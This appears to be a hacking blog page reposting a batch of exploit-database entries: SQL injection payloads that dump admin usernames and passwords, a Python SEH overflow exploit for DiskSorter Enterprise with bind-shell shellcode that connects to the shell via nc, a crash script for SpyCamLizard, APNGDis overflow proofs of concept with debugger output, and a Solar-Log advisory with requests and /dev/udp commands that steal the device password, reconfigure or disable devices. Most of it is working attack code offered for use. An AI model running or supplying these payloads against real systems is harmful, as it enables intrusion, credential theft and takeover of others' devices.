Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863529582

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# # # # #
# Exploit Title: Joomla! Component Extra Search v2.2.8 - SQL Injection
# Google Dork: N/A
# Date: 21.03.2017
# Vendor Homepage: http://www.joomlaboat.com/
# Software: http://www.joomlaboat.com/extra-search
# Demo: http://www.joomlaboat.com/
# Version: 2.2.8
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_extrasearch&view=details&listing_id=1&establename=[SQL]
# http://localhost/[PATH]/index.php?option=com_extrasearch&controller=createusers&establename=[SQL]
# # # # #
            
# # # # #
# Exploit Title: GLink Word Link Script v1.2.3 - SQL Injection
# Google Dork: N/A
# Date: 22.03.2017
# Vendor Homepage: http://www.tufat.com/
# Software: http://www.tufat.com/wp-content/uploads/sites/4/2015/zips/script_131.zip
# Demo: http://www.tufat.com/glink-word-link-script/
# Version: 1.2.3
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/url.php?id=[SQL]
# -1'+union+select+1,2,3,4,5,6,7,concat(user,0x3a,pass),9,10,11,12,13,14,15,16,17,18+from+glink_admin_users--+-
# http://localhost/[PATH]/get_words.php?gid=[SQL]
# -1'+union+select+1,concat(user,0x3a,pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30+from+glink_admin_users--+-&step=3
# http://localhost/[PATH]/get_words.php?wid=[SQL]
# -1'+union+select+1,2,concat(user,0x3a,pass),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+glink_admin_users--+-&gid=1&step=3
# Etc...
# # # # #
            
#!/usr/bin/env python

# Exploit Title: DiskSorter Enterprise 9.5.12 - 'GET' Remote buffer overflow (SEH)
# Date: 2017-03-22
# Exploit Author: Daniel Teixeira
# Author Homepage: www.danielteixeira.com
# Vendor Homepage: http://www.disksorter.com
# Software Link: http://www.disksorter.com/setups/disksorterent_setup_v9.5.12.exe
# Version: 9.5.12
# Tested on: Windows 7 SP1 x86

import socket,os,time,struct

host = "192.168.2.186"
port = 80

#Bad Chars \x00\x09\x0a\x0d\x20"

#msfvenom -a x86 --platform windows -p windows/shell_bind_tcp -b "\x00\x09\x0a\x0d\x20" -f python
shellcode =  ""
shellcode += "\xd9\xc0\xd9\x74\x24\xf4\x5e\xbf\xb0\x9b\x0e\xf2\x33"
shellcode += "\xc9\xb1\x53\x31\x7e\x17\x83\xee\xfc\x03\xce\x88\xec"
shellcode += "\x07\xd2\x47\x72\xe7\x2a\x98\x13\x61\xcf\xa9\x13\x15"
shellcode += "\x84\x9a\xa3\x5d\xc8\x16\x4f\x33\xf8\xad\x3d\x9c\x0f"
shellcode += "\x05\x8b\xfa\x3e\x96\xa0\x3f\x21\x14\xbb\x13\x81\x25"
shellcode += "\x74\x66\xc0\x62\x69\x8b\x90\x3b\xe5\x3e\x04\x4f\xb3"
shellcode += "\x82\xaf\x03\x55\x83\x4c\xd3\x54\xa2\xc3\x6f\x0f\x64"
shellcode += "\xe2\xbc\x3b\x2d\xfc\xa1\x06\xe7\x77\x11\xfc\xf6\x51"
shellcode += "\x6b\xfd\x55\x9c\x43\x0c\xa7\xd9\x64\xef\xd2\x13\x97"
shellcode += "\x92\xe4\xe0\xe5\x48\x60\xf2\x4e\x1a\xd2\xde\x6f\xcf"
shellcode += "\x85\x95\x7c\xa4\xc2\xf1\x60\x3b\x06\x8a\x9d\xb0\xa9"
shellcode += "\x5c\x14\x82\x8d\x78\x7c\x50\xaf\xd9\xd8\x37\xd0\x39"
shellcode += "\x83\xe8\x74\x32\x2e\xfc\x04\x19\x27\x31\x25\xa1\xb7"
shellcode += "\x5d\x3e\xd2\x85\xc2\x94\x7c\xa6\x8b\x32\x7b\xc9\xa1"
shellcode += "\x83\x13\x34\x4a\xf4\x3a\xf3\x1e\xa4\x54\xd2\x1e\x2f"
shellcode += "\xa4\xdb\xca\xda\xac\x7a\xa5\xf8\x51\x3c\x15\xbd\xf9"
shellcode += "\xd5\x7f\x32\x26\xc5\x7f\x98\x4f\x6e\x82\x23\x7e\x33"
shellcode += "\x0b\xc5\xea\xdb\x5d\x5d\x82\x19\xba\x56\x35\x61\xe8"
shellcode += "\xce\xd1\x2a\xfa\xc9\xde\xaa\x28\x7e\x48\x21\x3f\xba"
shellcode += "\x69\x36\x6a\xea\xfe\xa1\xe0\x7b\x4d\x53\xf4\x51\x25"
shellcode += "\xf0\x67\x3e\xb5\x7f\x94\xe9\xe2\x28\x6a\xe0\x66\xc5"
shellcode += "\xd5\x5a\x94\x14\x83\xa5\x1c\xc3\x70\x2b\x9d\x86\xcd"
shellcode += "\x0f\x8d\x5e\xcd\x0b\xf9\x0e\x98\xc5\x57\xe9\x72\xa4"
shellcode += "\x01\xa3\x29\x6e\xc5\x32\x02\xb1\x93\x3a\x4f\x47\x7b"
shellcode += "\x8a\x26\x1e\x84\x23\xaf\x96\xfd\x59\x4f\x58\xd4\xd9"
shellcode += "\x7f\x13\x74\x4b\xe8\xfa\xed\xc9\x75\xfd\xd8\x0e\x80"
shellcode += "\x7e\xe8\xee\x77\x9e\x99\xeb\x3c\x18\x72\x86\x2d\xcd"
shellcode += "\x74\x35\x4d\xc4"

#Buffer overflow
junk = "A" * 2487

#JMP Short = EB 05
nSEH = "\x90\x90\xEB\x05" #Jump short 5
#POP POP RET (libspp.dll)
SEH = struct.pack('<L',0x10015FFE)

#Generated by mona.py v2.0, rev 568 - Immunity Debugger
egg = "w00tw00t"
egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

#NOPS
nops = "\x90"

#Payload
payload = junk + nSEH + SEH + egghunter + nops * 10 + egg + shellcode + nops * (6000 - len(junk) - len(nSEH) - len(SEH) - len(egghunter) - 10 - len(egg) - len(shellcode))

#HTTP Request
request = "GET /" + payload + "HTTP/1.1" + "\r\n"
request += "Host: " + host + "\r\n"
request += "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0" + "\r\n"
request += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" + "\r\n"
request += "Accept-Language: en-US,en;q=0.5" + "\r\n"
request += "Accept-Encoding: gzip, deflate" + "\r\n"
request += "Connection: keep-alive" + "\r\n\r\n"

socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.connect((host,port))
socket.send(request)
socket.close()

print "Waiting for shell..."
time.sleep(10)
os.system("nc " + host + " 4444")
            
import socket
import sys

author = '''
  
                ##############################################
                #    Created: ScrR1pTK1dd13                  #
                #    Name: Greg Priest                       #
                #    Mail: ScR1pTK1dd13.slammer@gmail.com    # 
                ##############################################
  
# Exploit Title: SpyCamLizard SC liz v1.230 Remote Buffer Overflow ZeroDay
# Date: 2017.03.22
# Exploit Author: Greg Priest
# Version: SpyCamLizard v1.230
# Tested on: Windows7 x64 HUN/ENG Enterprise
'''

print "SpyCamLizard DoS Exploit running!"
 
host = "192.168.56.1"
port = 80
overflow = "A" * 1189
nextSEH = "BBBB" 
SEH = "CCCC" 
overflow2= "D" * 3803

crash = overflow+nextSEH+SEH+overflow2

httpsocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
httpsocket.connect((host,port))
httpsocket.send("GET " + crash + " HTTP/1.0\r\n\r\n")
httpsocket.close()


print "SpyCamLizard shutted down!" 
            
# Exploit Title: APNGDis chunk size descriptor Buffer Overflow
# Date: 14-03-2017
# Exploit Author: Alwin Peppels
# Vendor Homepage: http://apngdis.sourceforge.net/
# Software Link: https://sourceforge.net/projects/apngdis/files/2.8/
# Version: 2.8
# Tested on: Linux Debian / Windows 7
# CVE : CVE-2017-6192


Additional analysis:
https://www.onvio.nl/nieuws/cve-2017-6192

POC:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41668.png

The PoC contains an IHDR chunk size descriptor of 0xFFFFFFF4

 ‰  P  N  G  .  .  .  .  ÿ  ÿ  ÿ  ô  I  H  D  R
89 50 4E 47 0D 0A 1A 0A FF FF FF F4 49 48 44 52 
                         ^  ^  ^  ^ 

Bash:

Reading '../ihdr_chunk_size_poc.png'...
*** Error in `./apngdis': free(): invalid next size (fast): 0x00005556a08d2270 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x70bcb)[0x7f932b0adbcb]
/lib/x86_64-linux-gnu/libc.so.6(+0x76f96)[0x7f932b0b3f96]
/lib/x86_64-linux-gnu/libc.so.6(+0x7778e)[0x7f932b0b478e]
./apngdis(+0x2e2f)[0x55569f636e2f]
./apngdis(+0x324f)[0x55569f63724f]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf1)[0x7f932b05d2b1]
./apngdis(+0x16ca)[0x55569f6356ca]


Valgrind:

Reading '../ihdr_chunk_size_poc.png'...
==10383== Invalid write of size 4
==10383==    at 0x10B502: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:113)
==10383==    by 0x109F96: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:206)
==10383==    by 0x10B24E: main (apngdis.cpp:498)
==10383==  Address 0x5ed3370 is 0 bytes after a block of size 0 alloc'd
==10383==    at 0x4C2C93F: operator new[](unsigned long) (vg_replace_malloc.c:423)
==10383==    by 0x10B4ED: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:112)
==10383==    by 0x109F96: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:206)
==10383==    by 0x10B24E: main (apngdis.cpp:498)
==10383== 
==10383== Invalid write of size 1
==10383==    at 0x4C330AD: __GI_mempcpy (vg_replace_strmem.c:1518)
==10383==    by 0x5B94B0D: _IO_file_xsgetn (fileops.c:1400)
==10383==    by 0x5B89AA8: fread (iofread.c:38)
==10383==    by 0x10B52B: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:114)
==10383==    by 0x109F96: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:206)
==10383==    by 0x10B24E: main (apngdis.cpp:498)
==10383==  Address 0x5ed338c is 28 bytes after a block of size 0 in arena "client"
==10383== 

valgrind: m_mallocfree.c:303 (get_bszB_as_is): Assertion 'bszB_lo == bszB_hi' failed.
valgrind: Heap block lo/hi size mismatch: lo = 64, hi = 90194313415.
            
# Exploit Title: APNGDis image width / height Buffer Overflow
# Date: 14-03-2017
# Exploit Author: Alwin Peppels
# Vendor Homepage: http://apngdis.sourceforge.net/
# Software Link: https://sourceforge.net/projects/apngdis/files/2.8/
# Version: 2.8
# Tested on: Linux Debian / Windows 7
# CVE : CVE-2017-6193

Additional analysis:
https://www.onvio.nl/nieuws/cve-2017-6193

POC:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41669.png

In the first bytes of the PoC, positions +0x10 through +0x17 are malformed to contain large values:

‰  P  N  G  .  .  .  .  .  .  .  .  I  H  D  R
89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 

.  .  .  .  .  .  .  . 
00 0F 00 00 00 0F 00 00 

^  ^  ^  ^  ^  ^  ^  ^

Valgrind:


Reading '../w_h_chunk_poc.png'...
==10563== Invalid read of size 8
==10563==    at 0x4C30260: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017)
==10563==    by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78)
==10563==    by 0x10AA40: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:363)
==10563==    by 0x10B24E: main (apngdis.cpp:498)
==10563==  Address 0x5edb3c8 is 28,792 bytes inside a block of size 65,593 free'd
==10563==    at 0x4C2CDDB: free (vg_replace_malloc.c:530)
==10563==    by 0x54CF643: png_destroy_read_struct (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x109E20: processing_finish(png_struct_def*, png_info_def*) (apngdis.cpp:176)
==10563==    by 0x10A9FD: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:361)
==10563==    by 0x10B24E: main (apngdis.cpp:498)
==10563==  Block was alloc'd at
==10563==    at 0x4C2BBAF: malloc (vg_replace_malloc.c:299)
==10563==    by 0x54C97CD: png_malloc (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x54DAF2D: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x54CD3B0: png_read_update_info (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x109838: info_fn(png_struct_def*, png_info_def*) (apngdis.cpp:58)
==10563==    by 0x54CA2E0: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x54CAFBA: png_process_data (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x109D41: processing_data(png_struct_def*, png_info_def*, unsigned char*, unsigned int) (apngdis.cpp:158)
==10563==    by 0x10A891: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:337)
==10563==    by 0x10B24E: main (apngdis.cpp:498)
==10563== 
==10563== Invalid write of size 8
==10563==    at 0x4C30265: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017)
==10563==    by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78)
==10563==    by 0x10AA40: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:363)
==10563==    by 0x10B24E: main (apngdis.cpp:498)
==10563==  Address 0x5edbad8 is 30,600 bytes inside a block of size 65,593 free'd
==10563==    at 0x4C2CDDB: free (vg_replace_malloc.c:530)
==10563==    by 0x54CF643: png_destroy_read_struct (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x109E20: processing_finish(png_struct_def*, png_info_def*) (apngdis.cpp:176)
==10563==    by 0x10A9FD: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:361)
==10563==    by 0x10B24E: main (apngdis.cpp:498)
==10563==  Block was alloc'd at
==10563==    at 0x4C2BBAF: malloc (vg_replace_malloc.c:299)
==10563==    by 0x54C97CD: png_malloc (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x54DAF2D: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x54CD3B0: png_read_update_info (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x109838: info_fn(png_struct_def*, png_info_def*) (apngdis.cpp:58)
==10563==    by 0x54CA2E0: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x54CAFBA: png_process_data (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x109D41: processing_data(png_struct_def*, png_info_def*, unsigned char*, unsigned int) (apngdis.cpp:158)
==10563==    by 0x10A891: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:337)
==10563==    by 0x10B24E: main (apngdis.cpp:498)
==10563== 
==10563== Invalid read of size 8
==10563==    at 0x4C30272: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017)
==10563==    by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78)
==10563==    by 0x10AA40: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:363)
==10563==    by 0x10B24E: main (apngdis.cpp:498)
==10563==  Address 0x5edb3b8 is 28,776 bytes inside a block of size 65,593 free'd
==10563==    at 0x4C2CDDB: free (vg_replace_malloc.c:530)
==10563==    by 0x54CF643: png_destroy_read_struct (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x109E20: processing_finish(png_struct_def*, png_info_def*) (apngdis.cpp:176)
==10563==    by 0x10A9FD: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:361)
==10563==    by 0x10B24E: main (apngdis.cpp:498)
==10563==  Block was alloc'd at
==10563==    at 0x4C2BBAF: malloc (vg_replace_malloc.c:299)
==10563==    by 0x54C97CD: png_malloc (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x54DAF2D: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x54CD3B0: png_read_update_info (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x109838: info_fn(png_struct_def*, png_info_def*) (apngdis.cpp:58)
==10563==    by 0x54CA2E0: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x54CAFBA: png_process_data (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
==10563==    by 0x109D41: processing_data(png_struct_def*, png_info_def*, unsigned char*, unsigned int) (apngdis.cpp:158)
==10563==    by 0x10A891: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:337)
==10563==    by 0x10B24E: main (apngdis.cpp:498)
==10563== 
==10563== Invalid read of size 8
==10563==    at 0x4C30140: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017)
==10563==    by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78)
==10563==    by 0x10AA40: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:363)
==10563==    by 0x10B24E: main (apngdis.cpp:498)
==10563==  Address 0x0 is not stack'd, malloc'd or (recently) free'd
==10563== 
==10563== 
==10563== Process terminating with default action of signal 11 (SIGSEGV)
==10563==  Access not within mapped region at address 0x0
==10563==    at 0x4C30140: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017)
==10563==    by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78)
==10563==    by 0x10AA40: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:363)
==10563==    by 0x10B24E: main (apngdis.cpp:498)
==10563==  If you believe this happened as a result of a stack
==10563==  overflow in your program's main thread (unlikely but
==10563==  possible), you can try to increase the size of the
==10563==  main thread stack using the --main-stacksize= flag.
==10563==  The main thread stack size used in this run was 8388608.
==10563== 
==10563== HEAP SUMMARY:
==10563==     in use at exit: 16,777,901 bytes in 10 blocks
==10563==   total heap usage: 24 allocs, 14 frees, 16,997,058 bytes allocated
==10563== 
==10563== 64 bytes in 2 blocks are definitely lost in loss record 6 of 9
==10563==    at 0x4C2C93F: operator new[](unsigned long) (vg_replace_malloc.c:423)
==10563==    by 0x10B4ED: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:112)
==10563==    by 0x10A24D: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:244)
==10563==    by 0x10B24E: main (apngdis.cpp:498)
==10563== 
==10563== LEAK SUMMARY:
==10563==    definitely lost: 64 bytes in 2 blocks
==10563==    indirectly lost: 0 bytes in 0 blocks
==10563==      possibly lost: 0 bytes in 0 blocks
==10563==    still reachable: 16,777,837 bytes in 8 blocks
==10563==         suppressed: 0 bytes in 0 blocks
==10563== Reachable blocks (those to which a pointer was found) are not shown.
==10563== To see them, rerun with: --leak-check=full --show-leak-kinds=all
==10563== 
==10563== For counts of detected and suppressed errors, rerun with: -v
==10563== ERROR SUMMARY: 1028641 errors from 5 contexts (suppressed: 0 from 0)
Segmentation fault




w_h_chunk_poc.png
            
# Exploit Title: APNGDis filename Buffer Overflow
# Date: 14-03-2017
# Exploit Author: Alwin Peppels
# Vendor Homepage: http://apngdis.sourceforge.net/
# Software Link: https://sourceforge.net/projects/apngdis/files/2.8/
# Version: 2.8
# Tested on: Linux Debian / Windows 7
# CVE : CVE-2017-6191

Additional analysis:
https://www.onvio.nl/nieuws/cve-2017-6191-apngdis-filename-buffer-overflow

Textbook buffer overflow; a fixed size buffer gets allocated with
szPath[256], and the first command line argument is stored without
validation.


int main(int argc, char** argv)
{
	unsigned int i, j;
	char * szInput;
	char * szOutPrefix;
	char szPath[256];
	char szOut[256];
	std::vector frames;
	printf("\nAPNG Disassembler 2.8\n\n");

	if (argc > 1)
		szInput = argv[1];
	else
	{
		printf("Usage: apngdis anim.png [name]\n");
		return 1;
	}
	strcpy(szPath, szInput);
}




With 'A' * 1000 as argv[1] :


GDB:

Program received signal SIGSEGV, Segmentation fault.
strlen () at ../sysdeps/x86_64/strlen.S:106
106     ../sysdeps/x86_64/strlen.S: No such file or directory.
(gdb) i r
rax            0x4141414141414141       4702111234474983745
rbx            0x7ffff70ea600   140737338320384
rcx            0x141    321
rdx            0x0      0
rsi            0x7fffffffca40   140737488341568
rdi            0x4141414141414141       4702111234474983745
rbp            0x7fffffffceb0   0x7fffffffceb0
rsp            0x7fffffffc948   0x7fffffffc948
r8             0x4141414141414141       4702111234474983745
r9             0x9      9
r10            0x73     115
r11            0x7fffffffce78   140737488342648
r12            0x555555558c9f   93824992251039
r13            0x7fffffffcec8   140737488342728
r14            0x0      0
r15            0xffffffffffffffff       -1
rip            0x7ffff6dd1486   0x7ffff6dd1486 <strlen+38>
eflags         0x10297  [ CF PF AF SF IF RF ]


Valgrind:

==10685== Invalid read of size 1
==10685==    at 0x4C2EDA2: strlen (vg_replace_strmem.c:454)
==10685==    by 0x5B6ADA2: vfprintf (vfprintf.c:1637)
==10685==    by 0x5B711F8: printf (printf.c:33)
==10685==    by 0x109F05: load_apng(char*, std::vector<APNGFrame,
std::allocator<APNGFrame> >&) (apngdis.cpp:200)
==10685==    by 0x10B24E: main (apngdis.cpp:498)
==10685==  Address 0x4141414141414141 is not stack'd, malloc'd or
(recently) free'd
==10685==
==10685==
==10685== Process terminating with default action of signal 11 (SIGSEGV)
==10685==  General Protection Fault
==10685==    at 0x4C2EDA2: strlen (vg_replace_strmem.c:454)
==10685==    by 0x5B6ADA2: vfprintf (vfprintf.c:1637)
==10685==    by 0x5B711F8: printf (printf.c:33)
==10685==    by 0x109F05: load_apng(char*, std::vector<APNGFrame,
std::allocator<APNGFrame> >&) (apngdis.cpp:200)
==10685==    by 0x10B24E: main (apngdis.cpp:498)
Reading '==10685==
==10685== HEAP SUMMARY:
==10685==     in use at exit: 0 bytes in 0 blocks
==10685==   total heap usage: 2 allocs, 2 frees, 73,728 bytes allocated
==10685==
==10685== All heap blocks were freed -- no leaks are possible
            
SEC Consult Vulnerability Lab Security Advisory < 20170322-0 >
=======================================================================
              title: Multiple vulnerabilities
            product: Solare Datensysteme GmbH
                     Solar-Log 250/300/500/800e/1000/1000 PM+/1200/2000
 vulnerable version: Firmware 2.8.4-56 / 3.5.2-85
      fixed version: Firmware 3.5.3-86
         CVE number: -
             impact: Critical
           homepage: http://www.solar-log.com/de/home.html
              found: 2017-01-23
                 by: T. Weber (Office Vienna)
                     SEC Consult Vulnerability Lab 

                     An integrated part of SEC Consult
                     Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow
                     Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich

                     https://www.sec-consult.com
=======================================================================

Vendor description:
-------------------
"Solare Datensysteme GmbH (SDS) is headquartered in the southern German city 
of Binsdorf and specialises in the development and sale of monitoring systems 
for photovoltaic plants. The company was founded in 2007 by Thomas Preuhs and 
Jörg Karwath and was created from the company "TOP Solare Datensysteme". This 
company had been developing and selling the "SolarLogâ„¢" product range since 
2005. Our core competence covers innovative products with short development 
cycles and an excellent cost/performance ratio. Our developments have the 
outstanding characteristics of high customer value, simple operation and 
universal application without requiring time-consuming installation of 
software."

Source: http://www.solar-log.uk/gb-en/unternehmen/ueber-uns.html


Business recommendation:
------------------------
SEC Consult recommends to immediately install the available firmware update
and restrict network access.

Furthermore, this device should not be used in production until a thorough 
security review has been performed by security professionals and all 
identified issues have been resolved.


Vulnerability overview/description:
-----------------------------------
1) Unauthenticated Download of Configuration including Device-Password
This vulnerability is present at least on firmware 2.8.4-56.

An attacker can download the configuration file without authentication and 
extract the password to login to Solar-Log. Therefore, an attacker can gain
administrative access to such a device without prior authentication.


2) Cross-Site Request Forgery (CSRF)
This vulnerability is present at least on firmware 3.5.2-85.

A CSRF vulnerability enables an attacker to remove/modify a password of a
device by luring an authenticated user to click on a crafted link. An attacker
is able to take over the device by exploiting this vulnerability.


3) Unauthenticated Arbitrary File Upload
This vulnerability is present at least on firmware 3.5.2-85.

Any files can be uploaded on the Solar-Log by using a crafted POST request. An
attacker can start a malicious website or use the Solar-Log as share to store
any (illegal) contents. 


4) Information Disclosure (CVE-2001-1341)
All Solar-Log devices in the current firmware versions are prone to this 
information disclosure vulnerability. (2.8.4-56 / 3.5.2-85)

The network configuration of the internal network including the gateway and
the MAC address of the device are leaked.

All details of the IPC@CHIP from Beck IPC (https://www.beck-ipc.com/) like RTOS
version and serial number are leaked as well.


5) Unauthenticated Change of Network-Configuration
All Solar-Log devices in the current firmware versions are prone to this 
vulnerability. (2.8.4-56 / 3.5.2-85)

Since the Solar-Log is based on the chips of Beck IPC a UDP configuration 
server is enabled by default. This server allows to change the IP configuration 
over a specific UDP port. This functionality can be protected with a password, 
but this is not set in the affected firmware versions.

The MAC address, which is leaked by 4), is needed to configure the device.
An attacker can reconfigure the device without any authentication.


6) Unauthenticated Denial of Service
All Solar-Log devices in the current firmware versions are prone to this 
vulnerability. (2.8.4-56 / 3.5.2-85)

The Beck IPC UDP configuration server on Solar-Log device can be attacked with 
arbitrary UDP packets to permanently disable the Solar-Log until a manual 
reboot is triggered.  


7) Potential Unauthenticated Reprogram of IPC@CHIP Flash Memory
Potentially available in all Solar-Log devices in the current firmware 
versions. (2.8.4-56 / 3.5.2-85)

Since the "CHIPTOOL" from BECK IPC enables a developer to reprogram the chip
over the network via UDP, a missing password can also enable an attacker to do 
this on a Solar-Log device. This action can lead to a simple Denial of Service
or a complex botnet of Solar-Log devices!


Proof of concept:
-----------------
1) Unauthenticated Download of Configuration including Device-Password
The full configuration is exposed by sending the following GET-request:
-------------------------------------------------------------------------------
GET /data/misc.dat HTTP/1.1
Host: <IP-Address>
[...]
-------------------------------------------------------------------------------
Since the response contains the password, an attacker can easily take
control over the device.


2) Cross-Site Request Forgery
By luring the user to issue the following request, the password is removed:
-------------------------------------------------------------------------------
POST /setjp HTTP/1.1
Host: <IP-Address>

preval=none;postval=105;{"221":"0","223":"0","225":"1","287":"","288":{"0":"0","1":"0"},"440":"0"}
-------------------------------------------------------------------------------

By luring the user to issue the following request, the password is modified:
-------------------------------------------------------------------------------
POST /setjp HTTP/1.1
Host: <IP-Address>

preval=none;postval=105;{"221":"0","223":"1","224":"<New-Password>","225":"1","287":"","288":{"0":"0","1":"0"},"440":"0"}
-------------------------------------------------------------------------------


3) Unauthenticated Arbitrary File Upload
Any files can be uploaded by using the following POST-request:
-------------------------------------------------------------------------------
POST /menu/d_debug_db.html HTTP/1.1
Host: <IP-Address>
[...]
Referer: http://<IP-Address>/menu/d_debug_db.html
Content-Type: multipart/form-data; boundary=--------301473270
Content-Length: 341

----------301473270
Content-Disposition: form-data; name="DESTINATION-PATH"

PoC.html
----------301473270
Content-Disposition: form-data; name="FILE-CONTENT"; filename="file.txt"
Content-Type: text/plain

<html>
 <head>
 <title>SEC-Test</title>
 </head>
 <body>
 <script>alert("XSS-PoC");</script>
 </body>
</html>
----------301473270
Content-Disposition: form-data; name="L_UPLOAD"

Hochladen
----------301473270--
-------------------------------------------------------------------------------

The uploaded content can be reached by this link:
http://<IP-Address>/PoC.html


4) Information Disclosure (CVE-2001-1341)
This vulnerability is a known issue to IPC@CHIP since 2001.
See: https://www.securityfocus.com/bid/2767/info

The following URL can be used to open the "ChipCfg" file on a Solar-Log device:
http://<IP-Address>/ChipCfg

If an attacker is in the same subnet, he can directly request this information 
from the device (the device responds to multicast) with the following command: 
$ echo -n "0 1 A" >/dev/udp/<Target-IP>/8001


5) Unauthenticated Change of Network-Configuration
By using the following command a change of the network configuration can be
triggerd unauthenticated on UDP port 8001:
$ echo -n "<MAC> 4 2 0 <Desired-IP-Address> <Desired-Netmask> <Desired-Gateway>" >/dev/udp/<Target-IP>/8001

Example: 
$ echo -n "001122334455 4 2 0 192.168.4.5 255.255.255.0 192.168.4.254" >/dev/udp/192.168.4.9/8001


6) Unauthenticated Denial of Service
By using arbitrary null characters the IPC@CHIP can be pushed into an
undesired state:
$ echo -n "<MAC> 0 <IP-Address> <Netmask> <Gateway> DDDD\0\0" >/dev/udp/<Target-IP>/8001

Example: 
$ echo -n "001122334455 0 192.168.4.5 255.255.255.0 192.168.4.254 DDDD\0\0" >/dev/udp/192.168.4.5/8001


